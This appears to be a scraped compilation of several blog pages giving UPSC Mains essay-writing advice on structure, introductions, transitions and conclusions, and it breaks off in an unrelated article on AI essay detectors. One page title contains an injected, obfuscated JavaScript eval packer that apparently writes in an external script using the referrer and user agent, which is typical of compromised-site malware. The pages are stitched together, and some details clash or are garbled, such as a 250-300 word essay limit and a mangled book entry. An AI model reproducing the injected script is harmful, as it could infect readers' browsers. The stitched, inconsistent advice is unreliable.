• If you are not comfortable writing about abstract philosophical topics (I am terrible at writing them), avoid such questions. Your choice of topic has no bearing on the marks and that is why, selecting an unpopular topic just for the sake of it is unwise. Also, if there’s a technical term in the question, be doubly sure that you understand it correctly. For instance, in 2014, there was a question on ‘standard tests’, which is a technical term. I misunderstood it and wrote a generic essay. I got 112.
• When you take a final stand on an issue, it’s best to avoid extreme or highly unpopular opinions. We are free to have any opinion in the privacy of our minds, but in UPSC essay why take that risk? For instance, in an essay on Capital Punishment, in the main body content, you should present a case for both abolition and retention. But when you take a stance, it’s best to be an abolitionist.
• No ranting. You might be a great fan of Karl Marx, but if there’s a question on Capitalism, do not rant or rail against it ? You must present both the positives and negatives of Capitalism and end the essay on a balanced note.
• Do not dedicate disproportionate amount of time for the first essay and scamper through the second. Both carry equal marks, so please invest equal time.

How to transition smoothly from one para to the next

This can be done in three ways.

Through a link sentence at the end of a para:

Here, at the end of a para, you write a sentence that signals to the examiner what’s coming next. For example, let’s say you have just written a para about the threat posed by Artificial Intelligence (AI) to jobs. At the end of that para you can write a link sentence—   “Further, we must be mindful of the fact that Artificial Intelligence poses a major challenge not just economically, but also ethically.”  And in the next para, you can write about the ethical issues concerning AI.

Through a question:

Instead of a link sentence, you can also add a question at the end of a para so that examiner’s attention is helplessly carried to the next. To take the similar example as above, the question can be something like—   “Thus we have examined the threat posed by AI to our economy, but what about the challenges brought by AI to our ethics and morals?”  And in the next para, you can write about the ethical issues concerning AI.

Signalling the shift at the start of next paragraph:

Here you can simply add a word or two at the beginning of a para that signals a shift in your subtopic. For example in an essay on  Globalisation , let’s say you have just written a para about its historical evolution and impact. You can start the next para with something like—  “Politically too, globalisation has had a tremendous impact……” This way examiner immediately knows what to expect.

These steps will ensure that the transition between paragraphs is not abrupt.

How to write a good Introduction to your Essay?

Essay introduction can be:

a fictitious incident or story (where you introduce a character); a real life anecdote; a quote; or a simple definition of the words in the question (not recommended in Essay)

In GS, definitional approach is a great way to introduce your answers. But in essay, they are rather stale, lacking in any human element. I always believe that a good way to start your essay is to have that touch of humanity and warmth in your introduction.

In my Mains exam, this was my introduction to the essay ‘Destiny of a nation is shaped in its classroom’

“The year was 1945. Towards the end of a gruesome world war, the world powers decided to carve up the Korean peninsula along the 38th parallel.

“Before partition, North and South Korea might have been homogeneous in every respect, but after the division, they steered onto different paths. While schools in the North chose to ‘educate’ their children in the worship of a cult leader, ideological indoctrination and servility, its southern counterpart focused on liberal education, innovation and economic growth.

“Today, almost seven decades later, the difference in the fates of these people and the trajectories of both these nations cannot be more stark. One is known for gross violation of human rights, while the other a champion of liberal democracy. One is known for gut-wrenching poverty, while the other unbridled prosperity.

“This only proves the age old adage that the destiny of a nation is indeed shaped in its classrooms.”

Similarly, for the Social Media essay, my introduction sought to bring to the fore the paradox of Social Media. I wrote on how social media was leveraged to crowdsource help and rescue during Chennai floods in 2015. At the same time, I mentioned how it was used nefariously in 2012 to cause mass exodus of northeast people from Bangalore. And taking cue from this introduction, in the main body, I discussed about the inherent selfishness and altruism associated with social media.

These real life stories, anecdotes and incidents are everywhere in our books and newspapers. So when you come across them, note down and ponder as to how you can use them in your essay.

Developing the Main Content from the Topic

This is like spinning the web from a thread. Depending on the topic, you can choose among the following options that fits best.

• Temporal: Past, present and future
• Sectoral: Media, Science & Tech, Business, Sports, Religion, Politics, Administration etc
• Walks of Life : Individual, Family, Professional workplace, Society, Community, National, Global
• Problem & Solution:  Concept (historical evolution+status), benefits, problems, solutions
• Standard : Social, Political, Economical, Administrative, International, Environmental, Historical, Scientific, Security/Defence, Legal

Example: for a topic like  “Has Globalisation delivered on its promise?”  I find the problem & solution method an apt way to develop your narrative. So choose as per the question.

In the main body of the essay, each para must have an argument or an idea and a reasoning to back that argument. You can substantiate it through a real life example, a statistic, an authentic committee or organisational report etc.

For example, if you are arguing that Capital punishment is an expensive form of justice, you should be able to given an example or a statistic or Law Commission’s opinion as to how the subjects of death penalty are overwhelmingly from poor communities.

Statistics, examples, expert opinions and constitutional provisions are crucial and they make your arguments authoritative.

Concluding an Essay

Conclusion needs to be on  a futuristic, optimistic note. You need to summarise the complete essay in 3-4 sentences, after which you can write your vision for future.

You can source some useful terms from the speeches of PM Modi. Phrases like  Sabka saath sabka vikas ,  Reform-Perform-Transform, Building A New India  etc can come handy.  Rhetoric, lofty expressions, constitutional ideals, sanskrit slokas and quotes are a good way to conclude your essay.

But suppose in your introduction, if you had written about a fictitious character, then it’s always advisable to end your write-up with a reference to that character. It gives a sense of completeness to the essay.

Readers should keep in mind that these notes are written rather haphazardly (I mean who makes notes thinking that in future, they might have to upload them publicly :D)

They are fragmented in certain pages, so you may not be able to comprehend them completely, but nevertheless I hope you take home something useful.

Link to handwritten notes:

https://drive.google.com/open?id=1jmVMGOzAk2d9B5Y0HQ9XpVF5Mh2IXGku

Quote collection:

https://drive.google.com/open?id=1jk71jLao60hHwJoTuGYaIDgJWccxa5Xn

List of Topics one needs to prepare:

https://drive.google.com/open?id=1q0W0PeH-80EKt6ucJTFOVPUlmXvCIzd-

Sample Essays:  

https://drive.google.com/open?id=1jqfUi1FXdG0icBdJpdQvwH1wlAizCMvo

Read More at: https://anudeepdurishetty.in/ 

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5 Essential Steps: How to Write an Essay in UPSC Mains

Writing an essay in the Union Public Service Commission ( UPSC ) Mains examination can be a daunting task for many aspiring civil servants.

The essay paper carries a weightage of 250 marks and requires a high level of language proficiency, analytical thinking and writing skills. The essay is also one of the few opportunities for candidates to showcase their knowledge and views on a wide range of topics and make a lasting impression on the examiners.

In this blog, we will provide you with steps and strategies on how to write an essay in UPSC Mains exam.

Whether you are a first-time aspirant or an experienced candidate, you will find useful insights to help you approach the essay paper with confidence and write an essay that stands out. So, let’s get started!

UPSC CSE Mains Essay Writing Exam Pattern

What is a good score in essay writing paper in upsc mains, structure of an essay in upsc mains, 5 essential steps: how to write a well-structured essay in upsc mains, 1. t- time limit, 2. i- introduction, 3. p- paragraphs and pointers, 4. c- conclusion, 5. r- revision, strategy for essay writing in upsc mains exam, 1. the central idea is the key, 2. brainstorming for a better idea, 3. making a blueprint, essential elements of essays in upsc mains, the super 3, the supportive 3, personal comments and opinions, reference books for essay writing in upsc mains, faqs on how to write an essay in upsc mains exam, what is the format of an essay in upsc mains, how to choose a topic for an essay in upsc mains, how to write the introduction of an essay in upsc mains, how to write the body of an essay in upsc mains, how to write the conclusion of an essay in upsc mains, what are some common mistakes to avoid when writing an essay in upsc mains.

• How to improve one's essay writing skills for UPSC Mains?
• The paper comes under the UPSC CSE Mains exam in which two essays must be written within 3 hours, each within a 1000-1200 word limit.
• Each carries 125 marks, so the total is 250 marks.
• The paper is divided into two sections, each carrying a choice of 4 essays. The aspirant has to choose only one from each section.
• UPSC CSE Syllabus clearly instructs aspirants to keep their thoughts close to the subject and arrange their ideas accordingly. It further states that credit will be given for effective essays and coherent expression’.

Also Read : How To Complete UPSC Mains Paper in 3 Hours? – A Clear-Cut Guide

The essay paper counts for up to 250 marks. A score above 50% could be considered good. 125 is the perfect example.

A score of around 110-125 is considered average.

For an exceptional essay, you might score a perfect mark in the range of 150-160.

How to structure an essay for the UPSC exam is the first and foremost thing that should be learnt while taking into consideration how to write an essay in UPSC Mains.

The traditional way of UPSC CSE Mains essay writing is to break it into paragraphs with pointers in simple language. This technique is still working in structuring an informative and well-written essay for UPSC Mains.

A body paragraph is of utmost importance besides the introduction and conclusion part. The body paragraph contains important facts, figures, data, and information along with several relevant quotes.

Here are some points regarding the structuring of an essay in the form of an introduction, body, and conclusion that will help you in writing a well-balanced essay.

• The introduction part is the most important of all. Your introduction creates a first impression on the examiner. Your essay should always have a good starting and a conclusion.
• Body paragraphs are equally important parts of the essay that can be supportive, critical, or narrative. However, it is advised to have a mature thought process in all forms and to not take any side or get emotional in writing a certain opinion.
• Essays, along with facts and language skill also demands your opinion that should be written in a well-balanced way. The narrative part should be written by starting with an argument along with different facts.
• Further, a supportive paragraph is necessary to contain positive facts/ideas. Talking of a critical paragraph, it is advised to place it in the last part with the exact expression. However, it depends on your will. You can also open with a critical part.
• The conclusion is also crucial as it can bring you additional marks if done properly. Your concluding statement reveals a lot about you, as balancing every statement after a lot of critical evaluation and facts is a form of art.

Related Reading: How To Start Answer Writing Practice For UPSC: 5 Effective Pointers

Remember the mnemonic provided here that will help you to keep the important pointers in mind on how to write an essay in UPSC Mains.

Stick to the  TIPCR  formulae always. If you write with this structure, along with filling in a good amount of content, you are definitely going to score well in this paper.

Time management  is very important for UPSC CSE Main essay writing. You get 3 hours to write two essays in the exam which means you have 1 hour and 30 minutes for each essay.

It is a fact that any aspirant needs 45 minutes to 1 hour to write one essay. Another 10 minutes is required for the revision of one essay.

Before all this, you need at least 20-30 minutes to brainstorm, jot down some points, and make an outline. Dividing the time and sticking to it is the only key to scoring good marks.

A good start of the introduction always arises the interest in the examiner. The examiner’s judgment and how they are going to take your whole piece depends on your starting.

If you start well, you must also end in an impressive manner. A good introduction can be a brief explanation of the given topic and you can make it effective by adding some quotes, a critical narrative, or your own narrative.

Paragraphs and pointers provide a smooth flow to your essay which not only looks like a structured essay but also feels like a more informative but less hectic to read a piece of writing.

Paragraphs in small chunks or pointers like short paragraphs provide an establishment that leads towards a conclusion.

Examiners are habitual of reading something in an ordered way, especially in Mains essay writing section.

Finishing on a good or smooth note is as important as starting on a good note. A smooth and positive conclusion with a clear explanation will help you in scoring good marks.

There should be a ‘Cyclic-return’ approach in your essay. The introduction should end with a question or discussion and in the conclusion, you can again come to that question to conclude it with a positive statement or anecdote.

To revise or read your whole piece in the entirety is as important as writing it. Keep a check on grammatical mistakes, and some missing points, or make sure your answer looks clean and tidy.

These things can be done only when you revise your answer. Add/omit some words as per your demands but should not be overdone.

You Might Also Like: How To Prepare For UPSC Prelims And Mains Together Like An Absolute Pro!

Just like the UPSC CSE your essay writing also needs planning. There are broadly three steps to writing a structured essay defining what the essay is going to talk about i.e. the central idea, brainstorming, and making a blueprint of it.

Mains essay writing demands a well-structured format from your side as it is one of the most prestigious and tough examinations in India .

“Innovation is the key determinant of economic growth and social welfare” . 

This is basically a thesis statement of an essay question of UPSC CSE Mains 2016. In this statement, the central idea is ‘innovation’.

Here, the aspirant is supposed to bring out a dimension of innovation that directly or indirectly affects economic growth and social welfare. Aspirants are supposed to write that statement of facts only which supports the central idea or those statements that supplement the overall idea.

Brainstorming is one of the most powerful tools in the examination phase. Brainstorming leads to developing new ideas quickly or listing those ideas that align with your knowledge of the given topic.

There is no specific rule or technique for brainstorming, instead, you can jot down points on a paper that are necessary for your Mains essay writing.

Making a blueprint or outlining your essay means deciding what to write in the introduction, body, and conclusion parts. What ideas to represent in which section, which quotes are relevant to the given thesis, etc.

Before the actual writing, it is very important to see it in its entirety. It helps you to see the big picture. The blueprint also helps you in finding the right conclusion to wrap up your essay.

Check Out Our Blog On: Why is Self Assessment for UPSC CSE Necessary?

• Social element
• Political element
• Economical element

These three points should be considered while writing an essay. These three elements give a proper shape to an essay or any piece of the thesis.

Writing a formal one always demands dimensions and these three dimensions will always support your arguments concerning various areas of society. It enhances the effectiveness and creates a proper report-like structure along with your narratives to form well-balanced and good writing in your Mains essay writing.

• Constitutional
• Technological

These three additional dimensions also enhance the quality of your writing. You can use various technological perspectives, constitutional facts, remedies, laws, and legal terms to support the thesis in your Mains essay writing.

Your opinions matter a lot. UPSC CSE Mains essay writing demands a subjective approach to writing. It is very important to express your personal opinion on the issue or the given statement.

However, it should be kept in mind that your personal opinions should not be too biased in nature. Neutral and well-balanced writing is always appreciated by the UPSC.

Additional Reading: 3 Ways to Build a Revision Strategy for UPSC – A Must

You may seek help from books that will assist you with Essay Writing for UPSC Civil Services Exam. 

• Essays for Civil Services and Other Competitive Examinations by Pulkit Khare.
• Essay Paper For Civil Services Main Examination by Pavneet Singh and Sonali Bansal
• Selected Contemporary Essays by Saumitra Mohan (MHE)
• My Experiment With Truth by M.K. Gandhi
• J.L. Nehru Getting India Back on Track by Ratan Tata

In addition to the above-mebtioned books, you make take help of English newspapers such as The Hindu and the newspaper editorial section to expand your vocabulary.

Staying updated with the current affairs is also necessary. Take a look at the Best Current Affairs Magazine For UPSC to keep yourself informed about the latest events happening around the world.

Practice is the key to success. Focus on reading, the art of argumentation, and correct sequence to achieve good scores in essays. Remember there is no such thing as a perfect essay, just arrange the ideas in an orderly fashion and keep writing.

Essays in the UPSC Mains exam must be written with the help of facts and figures along with data, like statistics from a government report or any data from a major research paper that supports a writer’s perspective on a given topic.

Conversational form, the use of first-person references, and getting emotional with the audience are not allowed in a formal structure.

The points made by the candidate need to be neutral, supported by logical facts and not someone’s biased personal opinions. A certain degree of straightforwardness should be there while writing a formal exam, especially for an exam like UPSC CSE.

The tips mentioned above revolve around how to write an essay in UPSC Mains. These will help improve your writing skills and build a better essay structure.

Also Read: Powerful Tips on How to Stay Motivated for UPSC Preparation

The format of an essay in UPSC Mains is as follows: Introduction, Body, and Conclusion. The introduction should state the main idea of the essay and the body should elaborate on it with examples and arguments. The conclusion should summarize the key points made in the essay. The word limit for an essay in UPSC Mains is usually around 250-300 words.

Choose a topic that you are well-versed in and have a strong opinion on. It is advisable to choose a topic that is relevant to current events and has social and political significance. This will help you present a well-researched and thought-out argument in your essay.

The introduction of an essay in UPSC Mains should be concise and clear. Start with a hook that grabs the reader’s attention, state the main idea of the essay, and provide a thesis statement. The thesis statement should provide a clear direction for the rest of the essay.

The body of an essay in UPSC Mains should elaborate on the main idea presented in the introduction. Divide the body into paragraphs and make sure each paragraph has a clear focus and supports the thesis statement. Use examples, facts, and statistics to make your arguments more persuasive.

The conclusion of an essay in UPSC Mains should summarize the key points made in the essay and restate the thesis statement. End with a final thought or a call to action that provides closure to the essay. Make sure the conclusion is not repetitive and adds value to the essay.

Some common mistakes to avoid when writing an essay in UPSC Mains include: poor structure, unclear arguments, repetitive information, grammatical errors, and using informal language. Make sure to proofread your essay before submitting to avoid these mistakes.

How to improve one’s essay writing skills for UPSC Mains?

To improve your essay writing skills for UPSC Mains, you can practice writing essays on a regular basis, read newspapers and articles to stay updated on current events, improve your vocabulary, and seek feedback from peers and teachers.

Additionally, reading sample essays and learning from the writing style of experienced writers can also help improve your skills.

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UPSC ESSAY STRATEGY: How to Write an Essay!

• October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is –  an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

• Preamble to the Constitution
• FRs and DPSPs
• Millennium Development Goals (Now Sustainable Development Goals)
• Quotations by eminent personalities
• Important Supreme Court judgements
• Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

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UPSC Essay Topics: Structure and Effective Writing Strategies

Crack the UPSC Essay Topics with insights on Paper, structure, and effective writing strategies. Exploring the exam format, marks distribution, and practice tips for success. Get a list of previously asked UPSC essay topics and expected themes for 2024. Boost your essay writing skills with valuable information on word limits, sections, and scoring.

Know about UPSC Essay Topics and Exam Structure

The Union Public Service Commission conducts Civil Services Exams every year which comprises three stages i.e Prelims, Mains, and the Interview. The Mains exam consists of multiple papers, with the first paper being the Essay paper. Every year UPSC mains essay papers have UPSC Essay Topics relevant to current scenarios. So, in this article, we will explore every aspect of the Essay paper and probable UPSC Essay Topics. Before going further let’s see the structure of the UPSC exam .

Marks Distribution of Mains examination: The 250-Mark Weightage of UPSC Essay Topics

• Each UPSC Essay Topics of the main UPSC exam has an equal weight of 250 marks. 
• So, essay papers have a weight of 250 marks, and marks scored on the essay papers were considered for evaluation.

Structure of UPSC Essay Topics: Sections, Paper, and Scoring

• Marks Distribution- The UPSC CSE Essay Paper in Mains Exam consists of two sections A and B with four UPSC Essay Topics each of 125 marks and a total of 250 (125×2) marks.  
• Word Limit- Candidates are given a choice to select a UPSC Essay Topics from each section and write about it in 1,000 to 2,000 words within the given time of three hours.

UPSC Essay Topics: Practice Strategies and Important Topics

• Practicing for UPSC Essay Topics: Tackling Changing Topics with Practice
• UPSC Essay topics of the UPSC mains exam change every year, so it becomes quite challenging for candidates to decide which UPSC Essay Topics they will face in the exam. It can be about things like how the economy is doing, how women can be stronger, art and culture, or how the media affects us. To make some predictions of UPSC Essay Topics from previous years question papers can be used. 
• It is a good idea to look at the essay questions from previous years to get an idea of what might be asked. 
• This will help candidates to practice writing essays and do well in the exam. With enough practice, candidates can excel in writing essays for the UPSC exam.
• So here we will see the UPSC Essay Topics from the previous year’s question papers and will give a list of probable UPSC Essay Topics which can be asked in the coming exam.

Expected UPSC Essay Topics for Paper 2024: UPSC Essay Topics and Writing Skills

For better practice we are putting some expected questions on which candidates can write an UPSC Essay Topics to brush up their essay writing skill.

Frequently Asked Questions

Do upsc essay topics get repeated, how many essay questions are asked in the upsc essay paper, what if the candidate exceeds the word limit of the essay paper, how can i write a good essay for upsc.

UPDATED :     

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How to Improve Writing Skills For the UPSC Exam

Writing UPSC exam or any other exam is all about presenting excellently what you have learned. Hence writing skills is very crucial. It often happens that some students are very good at learning and speaking but...

How to Improve Writing Skills For the UPSC Exam 

Writing UPSC exam or any other exam is all about presenting excellently what you have learned. Hence writing skills is very crucial. It often happens that some students are very good at learning and speaking but when it comes to write the same thing with a pen on paper, they fail. Such students lack in writing skills. For cracking the UPSC exams in the first attempt, it is therefore very important that students should also work on polishing their writing skills. 

UPSC prelims exam is objective in nature, hence it is easy to crack only on the basis of your learning and knowledge. But this is not the case in UPSC Mains exam. It is subjective in nature, this simply means that students have to write and elaborate answers themselves instead of just picking the right option. 

Every year thousands of aspirants appear in this exam and they all learn the same syllabus and popular books. So, it is very important to stand out among the crowd and this is only possible when you write exceptionally well. 

Your answers should be neat, systematically arranged, and exactly match the demand of the question. This article gives you some essential and helpful tips for writing a UPSC Mains exam in the best way. 

Read More to Write Better 

When we read, we learn more. For writing the best & relevant answers it is very important that you keep reading more and more. Doing this, you will also observe the style of writing answers in the exams. This will also improve your vocabulary and dictionary of terminology that is much needed for writing pretigious exams like UPSC. So, yes! Reading is the first thing you should start doing before writing. 

Prepare A Writing Structure 

Outline and structure are significant. You can't just start writing the answers without knowing what points should be covered. Expert faculties at KSG - An institute for Preparing IAS, have suggested that students should write in a particular structure to improve the presentation of their answers. The most general structure is to write introduction i.e. acknowledging the concern in the question. Then write the points/paragraph required. At last, conclude the answer by giving the verdict. It is preferred to write in the points than a paragraph. If needed, draw charts also. 

Write to the Point. 

Don't write hefty answers. It is the myth that long answers score more marks than short ones. It is not at all about long or short answers. It all depends on the relevant points that are covered and not on the long length of answers. Always answer to the point and write only what is asked instead of making the papers black with unnecessary stuff just to make the answers lengthy. Evaluators are experts and you can't fool them. So try to avoid using very technical terms or words that are less commonly known. 

Don't Be Too Generalized 

Remember you are writing an answer and not a novel. Don't be too philosophical or generalized while writing the answers. It is advisable, you don't give your personal opinions until it is specifically asked. It is good to quote relevant phrases, metaphors, or idioms, if you want but doesn't exaggerate the whole thing. Formulate your write-ups in such a way that it goes with the context of the question else it seems that you just want to fill the answer sheet. However, if it is a literature question paper, doing these things may help. 

Don't Be A Parrot 

You know what we mean to tell here. Yes, don't just copy things what you have read in the books. Read, understand and explain everything in your language. This will be more effective. Don't be like a parrot and avoid repeating things from the books. It is although not wrong, what you write in your own words is the best. 

Practice! Practice! Practice! 

You must have heard "Practice Makes a Man Perfect" (Well, this applies to women also). Writing practice before exams really helps. Try writing answers. For this, you can solve previous year question papers and write the answers. Check and compare your answers with the ideal answer sheet. Find out the mistakes and correct them. UPSC exams are not extempore. It needs planning and practice. Practicing writing subjective answers is a very important part of UPSC Mains Exam preparation without which you can't think of clearing this exam. 

Improve Basics Like Tenses, Grammar, Etc. 

Whether you are attempting UPSC exams in Hindi or English, Grammar is very important. You can't take it for granted. If you are not sure that you are good at writing in the selected language medium, take classes but don't take a chance. Focus on improving grammar, spelling, tenses and other such language-related errors. Make your writing error-free. 

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May 5, 2023

Tips to Improve Writing Skills for UPSC Exam

Tips to improve your writing skills for upsc exam.

Writing skills are an essential part of the UPSC exam, as it requires candidates to write answers, essays, and articles that are clear, concise, and well-structured. Here are some tips that can help improve your writing skills for the UPSC exam:

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Read extensively

To write well, you must read widely. This will help you understand different writing styles, improve your vocabulary, and provide you with new ideas and perspectives.

Practice writing regularly

Writing regularly helps you develop a writing habit, which is essential for success in the UPSC exam. Set a goal of writing a certain number of words every day and stick to it.

Analyze previous year's question papers

Analyzing previous year's question papers will help you understand the exam pattern and the type of questions asked. This will also help you identify the areas where you need to improve.

Develop a writing plan

Before you start writing, create a plan for your essay or answer. This will help you structure your thoughts and ensure that your writing is coherent and logical.

Use active voice

Use active voice instead of passive voice to make your writing more engaging and clear.

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Focus on grammar and punctuation.

Grammatical errors and punctuation mistakes can reduce the clarity and effectiveness of your writing. Pay attention to grammar and punctuation rules and practice them regularly.

Develop a clear structure

Develop a clear structure for your essay or answer, with a strong introduction, body, and conclusion.

Use examples and evidence

Use relevant examples and evidence to support your arguments and strengthen your writing.

Avoid repetition

Avoid repeating the same point multiple times. Instead, use synonyms or different phrases to convey the same idea.

Seek feedback

Feedback is crucial for improving your writing skills. Seek feedback from your peers or mentors on your writing, and work on the areas that need improvement.

Thanks For Reading!

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The Ultimate AI Detector for Long Essays: Everything You Need to Know

06 Jul 2024 • 4 min

In this article, we will explore the fascinating world of AI detectors specifically designed for long essays. These innovative tools are changing the way we approach writing and helping us improve our work in various ways.

Have you ever wondered how technology can help you become a better writer? Well, that's where AI detectors for long essays come in. They are like your personal writing assistant, providing feedback and suggestions to make your writing shine. Let's dive in and discover how these smart tools can make a difference in your writing journey.

Table of Contents

What is an ai detector for long essays, how does an ai detector work, benefits of using an ai detector, tips for maximizing the effectiveness of an ai detector, popular ai detectors for long essays, challenges of using ai detectors, frequently asked questions (faqs).

An AI detector for long essays is a sophisticated software that uses artificial intelligence to analyze and provide feedback on lengthy written pieces. It can help writers identify errors, improve readability, enhance overall quality, and save time in the editing process.

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AI detectors for long essays utilize natural language processing and machine learning algorithms to examine grammar, punctuation, structure, style, and more. They compare the text against predefined rules and patterns to generate comprehensive reports and recommendations for enhancement.

AI detectors for long essays utilize advanced technology to analyze and improve written content. These tools are designed to make the editing process more efficient and effective. But how exactly do AI detectors work?

Utilizing Natural Language Processing

